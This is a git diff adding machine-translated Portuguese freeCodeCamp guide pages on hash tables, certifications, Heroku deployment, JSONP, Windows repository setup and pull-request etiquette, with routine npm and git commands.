+Em tabelas de hash, você armazena dados em formas de pares de chave e valor. A chave, que é usada para identificar os dados, é fornecida como uma entrada para a função de hashing. O código hash, que é um inteiro, é então mapeado para o tamanho fixo que temos.
+
+Tabelas hash tem que suportar 3 funções.
+
+*   inserir (chave, valor)
+*   obter (chave)
+*   excluir (chave)
+
+Apenas como um exemplo para nos ajudar a compreender o conceito, vamos supor que queremos mapear uma lista de chaves de string para valores de string (por exemplo, mapear uma lista de países para suas capitais).  
+Então, digamos que queremos armazenar os dados na tabela no mapa.
+
+Key | Valor  
+\---------------- | -------------  
+Cuba | Havana  
+Inglaterra | Londres  
+França | Paris  
+Espanha | Madri  
+Suíça | Berna
+
+E vamos supor que nossa função hash seja simplesmente pegar o comprimento da string.
+
+Por simplicidade, teremos duas matrizes: uma para nossas chaves e outra para os valores.  
+Então, para colocar um item na tabela de hash, calculamos seu código de hash (nesse caso, simplesmente contamos o número de caracteres), depois colocamos a chave e o valor nas matrizes no índice correspondente.  
+Por exemplo, Cuba tem um código hash (comprimento) de 4.  
+Então, armazenamos Cuba na 4ª posição na matriz de chaves, e Havana no 4º índice da matriz de valores etc. E acabamos com o seguinte:
+
+Posição | Matriz de chaves | Matriz de valores  
+\--------------------- | ------------------ | --------- ------  
+1 | |  
+2 | |  
+3 | |  
+4 | Cuba | Havana  
+5 | Espanha | Madri  
+6 | França | Paris  
+7 | Inglaterra | Londres  
+8 | |  
+9 | |  
+10 | |  
+11 | Suíça | Berna
+
+Agora, neste exemplo específico, as coisas funcionam muito bem.  
+Nossa matriz precisa ser grande o suficiente para acomodar a string mais longa, mas, neste caso, são apenas 11 slots.  
+Desperdiçamos um pouco de espaço porque, por exemplo, não há chaves de 1 letra em nossos dados, nem chaves entre 8 e 10 letras. Mas neste caso, o espaço desperdiçado também não é tão ruim. Tomando o comprimento de uma string é bom e rápido, e assim é o processo de encontrar o valor associado a uma determinada chave (certamente mais rápido do que fazer até cinco comparações de strings).
+
+Mas, o que faremos se nosso conjunto de dados tiver uma string com mais de 11 caracteres?  
+E se tivermos uma outra palavra com 5 caracteres, "Índia", e tentarmos atribuí-la a um índice usando nossa função hash. Como o índice 5 já está ocupado, precisamos fazer uma ligação sobre o que fazer com ele. Isso é chamado de colisão.
+
+Se nosso conjunto de dados tivesse uma string com mil caracteres e você fizesse uma matriz de milhares de índices para armazenar os dados, isso resultaria em um desperdício de espaço. Se nossas chaves fossem palavras aleatórias do inglês, onde há tantas palavras com o mesmo tamanho, usar comprimento como uma função de hashing seria bastante inútil.
+
+## Manipulação de colisão
+
+Dois métodos básicos são usados ​​para lidar com colisões.
+
+1.  Encadeamento Separado
+2.  Endereçamento Aberto
+
+#### Encadeamento Separado
+
+O tratamento de colisão de hash por encadeamento separado usa uma estrutura de dados adicional, preferencialmente uma lista vinculada para alocação dinâmica, em depósitos. Em nosso exemplo, quando adicionamos a Índia ao conjunto de dados, ela é anexada à lista vinculada armazenada no índice 5, então nossa tabela ficaria assim.
+
+Posição | Cabeçalhos de lista vinculada |  
+\--------------------- | ---------------------------- -------- |  
+1 | |  
+2 | |  
+3 | |  
+4 | [Cuba-Havana\] |  
+5 | \[Espanha-Madri\] -> \[Índia-Delhi\] |  
+6 | \[França-Paris\] |  
+7 | \[Inglaterra-Londres\] |  
+8 | |  
+9 | |  
+10 | |  
+11 | \[Suíça-Berna\] |](https://en.wikipedia.org/wiki/Linear_probing)
+
+Para encontrar um item, primeiro vamos ao balde e comparamos as chaves. Esse é um método popular e, se uma lista de links for usada, o hash nunca será preenchido. O custo para `get(k)` é em média `O(n)` onde n é o número de chaves no bucket, o número total de chaves é N.  
+O problema com o encadeamento separado é que a estrutura de dados pode crescer sem limites.
+
+#### Endereçamento Aberto
+
+O endereçamento aberto não introduz nenhuma nova estrutura de dados. Se ocorrer uma colisão, procuramos a disponibilidade no próximo ponto gerado por um algoritmo. Endereçamento aberto é geralmente usado onde o espaço de armazenamento é restrito, ou seja, processadores embutidos. O endereçamento aberto não é necessariamente mais rápido do que o encadeamento separado.
+
+Métodos para endereçamento aberto
+
+*   \[Sondagem Linear
+*   [Sonda quadrática](https://en.wikipedia.org/wiki/Quadratic_probing)
+*   [Hashing Duplo](https://en.wikipedia.org/wiki/Double_hashing)
+
+## Como usar hashing em seu código.
+
+#### Python
+```
+   # Few languages like Python, Ruby come with an in-built hashing support. 
+   # Declaration 
+    my_hash_table = {} 
+    my_hash_table = dict() 
+ 
+   # Insertion 
+    my_hash_table[key] = value 
+ 
+   # Look up 
+    value = my_hash_table.get(key) # returns None if the key is not present || Deferred in python 3, available in python 2 
+    value = my_hash_table[key] # throws a ValueError exception if the key is not present 
+ 
+    # Deletion 
+    del my_hash_table[key] # throws a ValueError exception if the key is not present 
+ 
+    # Getting all keys and values stored in the dictionary 
+    keys = my_hash_table.keys() 
+    values = my_hash_table.values() 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CVtK)
+
+#### Java
+```
+    // Java doesn't include hashing by default, you have to import it from java.util library 
+    // Importing hashmaps 
+    import java.util.HashMap; 
+ 
+   // Declaration 
+    HashMap<Integer, Integer> myHashTable = new HashMap<Integer, Integer>(); // declares an empty map. 
+ 
+   // Insertion 
+    myHashTable.put(key, value); 
+ 
+   // Deletion 
+    myHashtable.remove(key); 
+ 
+    // Look up 
+    myHashTable.get(key); // returns null if the key K is not present 
+    myHashTable.containsKey(key); // returns a boolean value, indicating the presence of a key 
+ 
+    // Number of key, value pairs in the hash table 
+    myHashTable.size(); 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CVt1)
+
+## Recursos
+
+*   Para ler mais, você deseja testar esse [link](http://geeksquiz.com/hashing-set-1-introduction/) , o que explica o hash usando um exemplo diferente.
+*   [Hashing em 60 segundos](https://www.youtube.com/watch?v=x05KubVlh_M) .
+*   [Cuckoo Hashing](https://www.youtube.com/watch?v=HRzg0SzFLQQ)
+*   [Hashing Consisten](https://www.youtube.com/watch?v=jznJKL0CrxM)
+*   [Filtros Bloom](https://www.youtube.com/watch?v=-SuTGoFYjZs)
+*   [Estratégias de Hashing](https://www.youtube.com/watch?v=D65JQ0qQwZk)
+*   [Hashing de Senha](https://crackstation.net/hashing-security.htm)
+*   [Diferença entre Hashing e Criptografia](http://stackoverflow.com/questions/326699/difference-between-hashing-a-password-and-encrypting-it)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/heres-how-to-earn-our-verified-back-end-development-certification/index.md b/client/src/guide/portuguese/miscellaneous/heres-how-to-earn-our-verified-back-end-development-certification/index.md
new file mode 100644
index 0000000000..e7d808b57d
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/heres-how-to-earn-our-verified-back-end-development-certification/index.md
@@ -0,0 +1,10 @@
+---
+title: Heres How to Earn Our Verified Back End Development Certification
+localeTitle: Heres Como ganhar nossa certificação de desenvolvimento de back-end verificada
+---
+![Uma imagem de uma certificação de desenvolvimento de back-end de amostra](//discourse-user-assets.s3.amazonaws.com/original/2X/e/ea633a0abec2ec4b17c3c9b5b24fb9809776289a.png)
+
+1.  Projetos de API
+2.  Projetos de aplicativos da Web dinâmicos
+
+Depois de concluir todos os itens acima, você pode concluir nosso desafio ["Reivindicar seu certificado de desenvolvimento de back-end"](http://www.freecodecamp.com/challenges/claim-your-back-end-development-certificate) , que exigirá que você assine nosso Compromisso de Honestidade Acadêmica. Em seguida, emitiremos instantaneamente sua certificação verificada, que ficará acessível na página do portfólio.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/heres-how-to-earn-our-verified-data-visualization-certification/index.md b/client/src/guide/portuguese/miscellaneous/heres-how-to-earn-our-verified-data-visualization-certification/index.md
new file mode 100644
index 0000000000..abc96bf5de
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/heres-how-to-earn-our-verified-data-visualization-certification/index.md
@@ -0,0 +1,10 @@
+---
+title: Heres How to Earn Our Verified Data Visualization Certification
+localeTitle: Heres Como ganhar nossa certificação verificada de visualização de dados
+---
+![Uma imagem de um certificado de desenvolvimento de front end de amostra](//discourse-user-assets.s3.amazonaws.com/original/2X/e/e8807cae251ec214589ef35de95f956433d14280.png)
+
+1.  Reagir Projetos
+2.  Projetos de visualização de dados
+
+Depois de concluir todos os itens acima, você pode concluir nosso desafio ["Reivindicar sua certificação de visualização de dados"](http://www.freecodecamp.com/challenges/claim-your-data-visualization-certificate) , que exigirá a assinatura do nosso compromisso de honestidade acadêmica. Em seguida, emitiremos instantaneamente sua certificação verificada, que ficará acessível na página do portfólio.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/heres-how-to-earn-our-verified-front-end-development-certification/index.md b/client/src/guide/portuguese/miscellaneous/heres-how-to-earn-our-verified-front-end-development-certification/index.md
new file mode 100644
index 0000000000..09abba0ee0
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/heres-how-to-earn-our-verified-front-end-development-certification/index.md
@@ -0,0 +1,13 @@
+---
+title: Heres How to Earn Our Verified Front End Development Certification
+localeTitle: Heres Como ganhar nossa certificação de desenvolvimento de front end verificada
+---
+![Uma imagem de um certificado de desenvolvimento de front end de amostra](//discourse-user-assets.s3.amazonaws.com/original/2X/9/9579e6ad7bc3022fc5a6574be16791b5484f4867.png)
+
+1.  Complete todos os nossos Algoritmos Básicos atuais
+2.  Complete todos os nossos atuais projetos básicos de front end
+3.  Complete todos os nossos algoritmos intermediários atuais
+4.  Complete todos os nossos atuais projetos de front end intermediários
+5.  Conclua todos os nossos projetos avançados de front end
+
+Depois de concluir todos os itens acima, você pode concluir nosso desafio ["Reivindicar seu certificado de desenvolvimento de front-end"](http://www.freecodecamp.com/challenges/claim-your-front-end-development-certificate) , que exigirá a assinatura do nosso compromisso de honestidade acadêmica. Em seguida, emitiremos instantaneamente sua certificação verificada, que ficará acessível na página do portfólio.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/heroku-deployment-guide/index.md b/client/src/guide/portuguese/miscellaneous/heroku-deployment-guide/index.md
new file mode 100644
index 0000000000..4e4707c4c8
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/heroku-deployment-guide/index.md
@@ -0,0 +1,69 @@
+---
+title: Heroku Deployment Guide
+localeTitle: Guia de implantação do Heroku
+---
+1.  Crie uma conta Heroku.
+    
+2.  Depois de criar uma conta, você pode acessar seu [painel](https://dashboard.heroku.com/apps)
+    
+3.  Clique no sinal + no canto superior direito e clique em Criar novo aplicativo (assim como você está fazendo um novo repo no github). Dê um nome e clique em Criar.
+    
+4.  Depois de criar o aplicativo, você verá o nome dele no seu painel. Clique nisso.
+    
+5.  Você será levado a um painel para esse aplicativo. Clique na guia Implantar.
+    
+6.  Lá você ficará satisfeito em saber que pode se conectar a um repositório do github. Na seção Método de Implantação, escolha Github e autentique-se entrando no Github.
+    
+7.  Logo abaixo, preencha o nome do repositório do github. (Isso obviamente exige que você tenha enviado um repo para o github da cloud9 ou da sua máquina local ... e que você o configurou corretamente. Mais sobre isso abaixo.)
+    
+8.  Role para baixo novamente e clique em Implantar Automaticamente ou role para baixo ainda mais e clique em Implementação Manual. Depois de alguns momentos, você verá seu aplicativo em execução em seu-repo-name.herokuapp.com. Doce.
+    
+
+## Criando seu aplicativo localmente ou no Cloud9
+
+1.  Crie uma nova pasta chamada timestamp-microservice (ou qualquer que seja o nome do seu projeto).
+
+`$ mkdir timestamp-microservice && cd timestamp-microservice`
+
+1.  Crie os arquivos que você vai precisar:
+
+`$ touch .env .gitignore README.md index.html server.js`
+
+1.  Instale os pacotes que você precisa ao longo do caminho
+
+Exemplos:
+
+`$ npm install --save express`
+
+`$ npm install --save moment`
+
+Estes serão adicionados a uma pasta chamada node\_modules na sua pasta raiz.
+
+1.  Inicialize o projeto com um `$ npm init` fazendo `$ npm init`
+
+Ele fará uma série de perguntas e criará um arquivo package.json em sua pasta raiz com base em suas respostas e seus padrões. Se você já criou um arquivo chamado server.js como mencionado acima, esta linha _essencial_ será adicionada ao seu arquivo package.json:
+```
+  "scripts": { 
+ 
+  "start": "node server.js" 
+ 
+  } 
+```
+
+Se você nomear qualquer outra coisa, como 'index.js', essa linha não será adicionada e você terá que adicioná-la manualmente. Esse é o comportamento padrão, como mencionado [aqui](https://docs.npmjs.com/files/package.json#default-values) . Você pode instalar módulos de nó antes ou depois dessa etapa e eles serão adicionados ao package.json automaticamente.
+
+1.  Quando estiver pronto, crie um novo repositório no github, copie o URL remoto e inicialize o projeto localmente fazendo:
+
+`$ git init`
+
+`$ git add .`
+
+`$ git commit -m "initial commit"`
+
+`$ git remote add origin <your github url>`
+
+`$ git push -u origin master`
+
+Dica: Em seu arquivo server.js, certifique-se de usar `app.listen(process.env.PORT || <default port>)` para que o aplicativo funcione no heroku.
+
+Volte ao passo 7 acima.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-can-i-submit-an-story-to-free-code-camps-medium-publication/index.md b/client/src/guide/portuguese/miscellaneous/how-can-i-submit-an-story-to-free-code-camps-medium-publication/index.md
new file mode 100644
index 0000000000..5a24e83ce2
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-can-i-submit-an-story-to-free-code-camps-medium-publication/index.md
@@ -0,0 +1,5 @@
+---
+title: How Can I Submit an Story to Free Code Camps Medium Publication
+localeTitle: Como posso enviar uma história para publicação gratuita de campos de código?
+---
+Leia o nosso [guia oficial aqui](https://medium.freecodecamp.com/how-to-get-published-in-the-freecodecamp-medium-publication-9b342a22400e) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-free-code-camp-works/index.md b/client/src/guide/portuguese/miscellaneous/how-free-code-camp-works/index.md
new file mode 100644
index 0000000000..f049cb46bd
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-free-code-camp-works/index.md
@@ -0,0 +1,19 @@
+---
+title: How Free Code Camp Works
+localeTitle: Como funciona o Free Code Camp
+---
+O Free Code Camp oferece um programa gratuito, no ritmo de seu próprio ritmo e baseado no navegador, que leva cerca de 1.600 horas para ser concluído.
+
+![Uma imagem de uma tabela mostrando os diferentes segmentos do Free Code Camp](//discourse-user-assets.s3.amazonaws.com/original/2X/4/44b781708f6843b9267c13519cd6c536e890a411.jpg)
+
+## Como funciona
+
+![Uma imagem de uma tabela mostrando os diferentes segmentos do Free Code Camp](//discourse-user-assets.s3.amazonaws.com/original/2X/9/9c1bbc97c9db0bb74a9481a42db011ff4b5efc9d.jpg)
+
+![Uma imagem de uma tabela mostrando os diferentes segmentos do Free Code Camp](//discourse-user-assets.s3.amazonaws.com/original/2X/0/0a30120f5d35b4e0e41de87c54339a873b85d953.jpg)
+
+![Uma imagem de uma tabela mostrando os diferentes segmentos do Free Code Camp](//discourse-user-assets.s3.amazonaws.com/original/2X/0/0b2b928ff55c6f42b397b2167d39acb3883d843b.jpg)
+
+![Uma imagem de uma tabela mostrando os diferentes segmentos do Free Code Camp](//discourse-user-assets.s3.amazonaws.com/original/2X/8/8f808b2e3401b997a3376807faf074055ee2b6cf.jpg)
+
+![Uma imagem de uma tabela mostrando os diferentes segmentos do Free Code Camp](//discourse-user-assets.s3.amazonaws.com/original/2X/c/ccae292690f8e5dd418d3defee255576de30ff37.jpg)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-free-code-camps-nonprofits-projects-work/index.md b/client/src/guide/portuguese/miscellaneous/how-free-code-camps-nonprofits-projects-work/index.md
new file mode 100644
index 0000000000..e7cb9ffc27
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-free-code-camps-nonprofits-projects-work/index.md
@@ -0,0 +1,88 @@
+---
+title: How Free Code Camps Nonprofits Projects Work
+localeTitle: Como funcionam os projetos de organizações sem fins lucrativos do Free Code Camps
+---
+Construir projetos sem fins lucrativos é a principal maneira de nossos campistas aprenderem o JavaScript de pilha completa e o desenvolvimento de software ágil. Você começará este processo depois de obter as certificações de Desenvolvimento de front-end, Visualização de dados e Desenvolvimento de back-end.
+
+## Começando com o fim em mente
+
+Nosso objetivo no Free Code Camp é ajudá-lo a conseguir um emprego como desenvolvedor de software ou ser promovido em sua empresa atual para uma função mais técnica.
+
+Você continuará trabalhando em projetos sem fins lucrativos até criar um portfólio e referências suficientemente impressionantes para iniciar sua pesquisa de emprego. Seu portfólio terá quatro projetos sem fins lucrativos. Estimamos que as 800 horas de projetos sem fins lucrativos e as 80 horas de preparação para entrevistas que você vai completar, além das 1.200 horas de desafios que você já concluiu até o momento, serão mais do que suficientes para qualificá-lo pela primeira vez. trabalho de codificação.
+
+## Seu primeiro projeto sem fins lucrativos
+
+Em geral, abrangemos Projetos sem fins lucrativos para 200 horas ou cerca de 10 semanas a 20 horas por semana de desenvolvimento por campista. Estas são apenas estimativas aproximadas. Você só vai trabalhar em um projeto de cada vez.
+
+Você escolherá outro campista para fazer parceria nesses projetos. Você deve escolher o seu baseado em:
+
+*   Seu compromisso de tempo estimado (10, 20 ou 40 horas por semana)
+*   Seus fusos horários (Você será capaz de parear o programa juntos?)
+*   Experiência de codificação prévia (gostaríamos que ambos os participantes pudessem contribuir igualmente)
+
+Nós não vamos ter idade ou sexo em conta. Isso fornecerá uma valiosa experiência em mesclar equipes diversas, o que é uma realidade do ambiente de trabalho contemporâneo.
+
+Então, você enviará um email para team@freecodecamp.com com:
+
+*   Nomes
+*   Informações de contato
+*   Links para cada um dos portfólios de código do Free Code Camp
+*   Fusos horários
+*   Horas prometidas por semana
+
+Enviaremos uma lista de três projetos sem fins lucrativos que precisam da sua ajuda e, juntos, você escolherá um para começar a trabalhar. Enquanto você faz isso, nossa equipe codificará a revisão de cada um dos seus portfólios de código para garantir que todas as histórias de usuários tenham sido concluídas e que não haja sinais de desonestidade acadêmica.
+
+### Começando o projeto
+
+Definiremos uma reunião inicial com representantes do Free Code Camp, dos dois campistas e das partes interessadas. Se o stakeholder e os dois campistas aparecerem prontamente e parecerem entusiasmados e profissionais, iniciaremos o projeto. Esse processo demorado atende a uma finalidade importante: reduz a probabilidade de que qualquer um de nossos acampantes ou participantes desperdice seu precioso tempo.
+
+### Participantes sem fins lucrativos
+
+Cada projeto sem fins lucrativos foi enviado por uma organização sem fins lucrativos. Um representante dessa organização sem fins lucrativos concordou em atuar como uma "parte interessada" - uma pessoa autoritária que entende a organização e suas necessidades para este projeto em particular.
+
+As partes interessadas têm um profundo entendimento das necessidades de suas organizações. Os campistas trabalharão com eles para descobrir as melhores soluções para essas necessidades.
+
+Quando você e seu par parceiro falarem primeiro com sua parte interessada sem fins lucrativos, você:
+
+*   falar longamente para entender melhor suas necessidades.
+*   crie um novo quadro Trello e use-o para priorizar o que precisa ser construído.
+*   e estabelecer prazos com base no seu compromisso de tempo semanal e quanto tempo você acha que cada tarefa levará.
+
+Idealmente, vamos definir cada projeto para ser concluído em 10 sprints. É notoriamente difícil estimar quanto tempo os projetos de software demoram, então sinta-se à vontade para pedir ajuda à equipe de voluntários.
+
+Você continuará a se reunir com seu stakeholder semanalmente usando o software de conferência GoToMeeting. Você também irá se corresponder com a equipe no quadro Trello do projeto.
+
+Ficar "bloqueado" em uma tarefa pode tirar seu senso de impulso para frente, por isso, procure respostas pró-ativas para qualquer ambigüidade que encontrar.
+
+Por fim, o projeto será considerado completo quando as necessidades da parte interessada tiverem sido atendidas e você e seu parceiro ficarão satisfeitos com o projeto. Então você pode adicioná-lo ao seu portfólio!
+
+### Trabalhando com seu par
+
+Você e seu par irão emparelhar o programa (codificar juntos no mesmo computador virtualmente) cerca de metade do tempo e trabalhar de forma independente na outra metade do tempo.
+
+Aqui estão as nossas formas recomendadas de colaboração:
+
+*   O Gitter possui uma robusta funcionalidade de mensagens privadas. É a principal forma de comunicação da nossa equipe, e nós a recomendamos por e-mail.
+*   O Trello é ótimo para gerenciar projetos. Trabalhe com sua parte interessada para criar cartões Trello e atualize esses cartões regularmente à medida que você progredir neles.
+*   Screen Hero ou Team Viewer - Estas são a maneira ideal de parear o programa. Ferramentas como o TMUX são boas, mas difíceis de usar. Desencorajamos você de usar ferramentas de compartilhamento de tela em que apenas uma pessoa tenha controle do teclado e do mouse - isso não é programação em par real.
+*   Escrever código legível e claro, enviar mensagens, nomes de ramificação e enviar mensagens de solicitação.
+
+### Aplicativos de Hospedagem
+
+A menos que sua parte interessada tenha um host moderno existente (AWS, Digital Ocean), você precisará fazer a transição para uma nova plataforma. Acreditamos que o Heroku é a melhor escolha para a grande maioria dos projetos da web. É grátis, fácil de usar e possui interfaces de navegador e de linha de comando. É de propriedade da Salesforce e usado por uma tonelada de empresas, por isso é responsável e provavelmente não vai embora.
+
+Se você precisar de ajuda para convencer sua parte interessada de que o Heroku é a plataforma ideal, ficaremos felizes em conversar com eles.
+
+### Manutenção de aplicativos
+
+Depois de concluir um projeto sem fins lucrativos, sua obrigação para com a parte interessada é concluída. Seu objetivo é deixar para trás uma solução bem documentada que pode ser facilmente mantida por um desenvolvedor JavaScript de contrato (ou até mesmo um "superusuário" menos técnico).
+
+Embora você não precise mais ajudar com o desenvolvimento de recursos, recomendamos que você considere ajudar sua parte interessada com correções ocasionais no futuro. Afinal, este projeto será uma parte importante do seu portfólio, e você vai querer que ele permaneça em boa forma para curiosos futuros empregadores.
+
+### Comprometendo-se a terminar o projeto
+
+Sua parte interessada sem fins lucrativos, sua dupla parceira e nossa equipe de voluntários estão contando com você para concluir seu projeto sem fins lucrativos. Se você se afastar de um projeto sem fins lucrativos inacabado, ficará inelegível para receber outro.
+
+Para confirmar que você compreende a seriedade desse compromisso, exigimos que todos os participantes [assinem essa promessa](http://goo.gl/forms/ZMn96z2QqY) antes de iniciar seus projetos sem fins lucrativos.
+
+Provavelmente haverá momentos de confusão ou frustração. Isso é normal no desenvolvimento de software. O mais importante é que você não desista e, ao invés disso, persevere por meio desses contratempos. Como Steve Jobs disse, "artistas reais embarcam". E você enviará um projeto sem fins lucrativos após o outro até se sentir pronto para dar o próximo passo em sua promissora carreira.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-jsonp-is-different-from-json/index.md b/client/src/guide/portuguese/miscellaneous/how-jsonp-is-different-from-json/index.md
new file mode 100644
index 0000000000..abb62c0e39
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-jsonp-is-different-from-json/index.md
@@ -0,0 +1,22 @@
+---
+title: How Jsonp Is Different from JSON
+localeTitle: Como o Jsonp é diferente do JSON
+---
+O JSONP é apenas JSON envolvido em uma função de retorno de chamada.
+
+O JSONP é útil para fazer solicitações entre domínios, que geralmente são proibidas pelos navegadores por motivos de segurança.
+```
+ // an example of JSON 
+ {"weapon":"nunchucks","headband":"yellow"} 
+ 
+ // an example of JSONP 
+ myCallback({"weapon":"nunchucks","headband":"yellow"}); 
+```
+
+Em seguida, para acessar os dados armazenados em seu JSONP, você define a função de retorno de chamada:
+```
+myCallback = function(data){ 
+  alert(data.weapon); 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-build-a-website-without-writing-any-code/index.md b/client/src/guide/portuguese/miscellaneous/how-to-build-a-website-without-writing-any-code/index.md
new file mode 100644
index 0000000000..07ebc2f6e4
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-build-a-website-without-writing-any-code/index.md
@@ -0,0 +1,14 @@
+---
+title: How to Build a Website Without Writing Any Code
+localeTitle: Como construir um site sem escrever código
+---
+É possível criar websites dinâmicos e responsivos para dispositivos móveis sem escrever código algum em apenas alguns minutos.
+
+Aqui estão as tecnologias que usamos:
+
+*   [atom.io](http://www.atom.io/) um editor de código livre
+*   [startbootstrap.com](http://www.startbootstrap.com/) uma coleção de templates responsivos gratuitos (Bootstrap)
+*   [powr.io](http://www.powr.io/) uma coleção de plugins JavaScript gratuitos
+*   [bitballoon.com](http://www.bitballoon.com/) uma ferramenta para arrastar e soltar a implantação de sites
+
+Você alcançará rapidamente os limites do que pode ser feito sem realmente codificar, mas é bom poder construir rapidamente sites de protótipos como este.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-clone-and-setup-the-free-code-camp-website-on-a-windows-pc/index.md b/client/src/guide/portuguese/miscellaneous/how-to-clone-and-setup-the-free-code-camp-website-on-a-windows-pc/index.md
new file mode 100644
index 0000000000..8576ffcd0f
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-clone-and-setup-the-free-code-camp-website-on-a-windows-pc/index.md
@@ -0,0 +1,44 @@
+---
+title: How to Clone and Setup the Free Code Camp Website on a Windows Pc
+localeTitle: Como clonar e configurar o site do Free Code Camp em um computador com Windows
+---
+Esta lista funciona com o site freeCodeCamp e também foi testada neste [tutorial Angular](https://docs.angularjs.org/tutorial) . Configurar o ambiente de desenvolvimento em um PC com Windows é fácil, embora ele provavelmente cause muitos erros primeiro no processo. A parte importante é corrigir esses erros.
+
+## Pré-requisitos
+
+1.  [Git bash](https://msysgit.github.io/)
+2.  [Node.js](https://nodejs.org/)
+3.  [MongoDB](https://www.mongodb.org/downloads)
+4.  [Python 2.7.10](https://www.python.org/downloads/release/python-2710/)
+
+Baixe e instale os 4 pré-requisitos. Ao instalar o Python e o Node, é importante verificar a opção add to the path variable. O instalador do Node faz isso por padrão. É opcional adicionar o Mongo ao caminho. O Python deve ser instalado em uma subpasta em% programfiles%
+
+1.  Abra um prompt de comando com direitos de administrador.
+    
+2.  Verifique se o nó está no caminho executando o `node -v`
+    
+3.  Verifique se o npm está no caminho executando `npm -v`
+    
+4.  Execute os seguintes comandos:
+    
+    ```
+    npm install gulp -g 
+     npm install node-gyp -g 
+    
+    ```
+    
+5.  Se você quiser poupar tempo no Explorer para encontrar o Mongo quando tiver que ser iniciado, crie um arquivo `.cmd` em sua área de trabalho e escreva o caminho para o Mongo. Provavelmente `%programfiles%\MongoDB\Server\3.0\bin\mongod.exe` .
+    
+6.  Crie a pasta padrão do Mongo para armazenar bancos de dados: `C:\data\db`
+    
+
+**Os seguintes comandos _devem_ ser executados no Git Bash**
+
+1.  Siga as instruções aqui [**freeCodeCamp no Github**](https://github.com/FreeCodeCamp/freecodecamp) e clone o projeto.
+2.  Certifique-se de estar no diretório que você clonou com o GitHub (por padrão, isso é freecodecamp).
+3.  Execute `cp sample.env .env`
+4.  Execute a `npm install`
+5.  Inicie o Mongo a partir do atalho da área de trabalho e execute `npm run only-once` . Agora você deve ver muita atividade na janela em que iniciou o Mongo.
+6.  Execute `gulp` . Depois de algum tempo, sua versão local do freeCodeCamp deve estar em execução. Você pode visitá-lo em seu navegador em `http://localhost:3000`
+
+Parabéns, está feito! Se você encontrar algum problema ao configurar sua versão local do freeCodeCamp, sinta-se à vontade para entrar em contato com a [sala de chat de nossos Colaboradores](https://gitter.im/FreeCodeCamp/Contributors) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-contribute-via-a-pull-request/index.md b/client/src/guide/portuguese/miscellaneous/how-to-contribute-via-a-pull-request/index.md
new file mode 100644
index 0000000000..8f9ff333dc
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-contribute-via-a-pull-request/index.md
@@ -0,0 +1,27 @@
+---
+title: How to Contribute Via a Pull Request
+localeTitle: Como contribuir através de um pedido pull
+---
+> Um pedido pull (PR) é um método de envio de contribuições para um projeto de código aberto. Geralmente, é a maneira preferida de enviar contribuições para um projeto usando um Sistema de Controle de Versão Distribuído (DVCS), como o Git.
+
+FreeCodeCamp é um projeto de código aberto e todo o conteúdo é livremente editável.
+
+*   [Bifurque](https://help.github.com/articles/fork-a-repo/) o projeto no GitHub.
+*   [Clone](https://help.github.com/articles/cloning-a-repository/) -o em uma máquina local. Não edite on-line no github.com, pois o editor pode causar problemas com dados no formato JSON.
+*   [Crie um branch](https://help.github.com/articles/creating-and-deleting-branches-within-your-repository/) com o form `fix/some-bug` ou `feature/add-cool-thing` e faça suas alterações nesse branch e confirme.
+*   [Empurre](https://help.github.com/articles/pushing-to-a-remote/) o ramo online (se estiver editando localmente).
+*   [Crie uma solicitação pull](https://help.github.com/articles/creating-a-pull-request/) na ramificação **"staging"** .
+*   O título (também chamado de assunto) do seu PR deve ser descritivo de suas alterações. ou seja, `fix typo in basic-javascript challenge`
+*   Se o PR é destinado a corrigir um problema específico, acrescente ao final da mensagem de commit do seu PR `closes #1337` . Isso diz ao GitHub para fechar esse problema se o PR for mesclado.
+*   NÃO adicione números de problema ao título do PR. ou seja, `minor improvements in basic-javascript challenge`
+
+Estas são diretrizes gerais para os RPs que funcionam na maioria dos projetos. Ele oferece a todos um guia rápido de suas alterações ao analisar o histórico de commit de um projeto.
+
+_Nota: Nem todas as solicitações pull são aceitas. Os mantenedores do projeto da FCC explicarão o motivo da não aceitação._
+
+## Leitura Adicional
+
+*   [Treinamento do GitHub & Git Foundations](https://www.youtube.com/playlist?list=PLg7s6cbtAD15G8lNyoaYDuKZSKyJrgwB-) - Como usar o Git e o GitHub
+*   [Diretrizes de Contribuição de FreeCodeCamp](https://github.com/FreeCodeCamp/FreeCodeCamp#contributing)
+*   [Como escrever mensagens de commit do Git](http://chris.beams.io/posts/git-commit/)
+*   [Como clonar o FCC em um PC com Windows](https://forum.freecodecamp.com/t/how-to-clone-and-setup-the-free-code-camp-website-on-a-windows-pc/19366)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-create-a-contact-form-with-css/index.md b/client/src/guide/portuguese/miscellaneous/how-to-create-a-contact-form-with-css/index.md
new file mode 100644
index 0000000000..f69fe0cf4e
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-create-a-contact-form-with-css/index.md
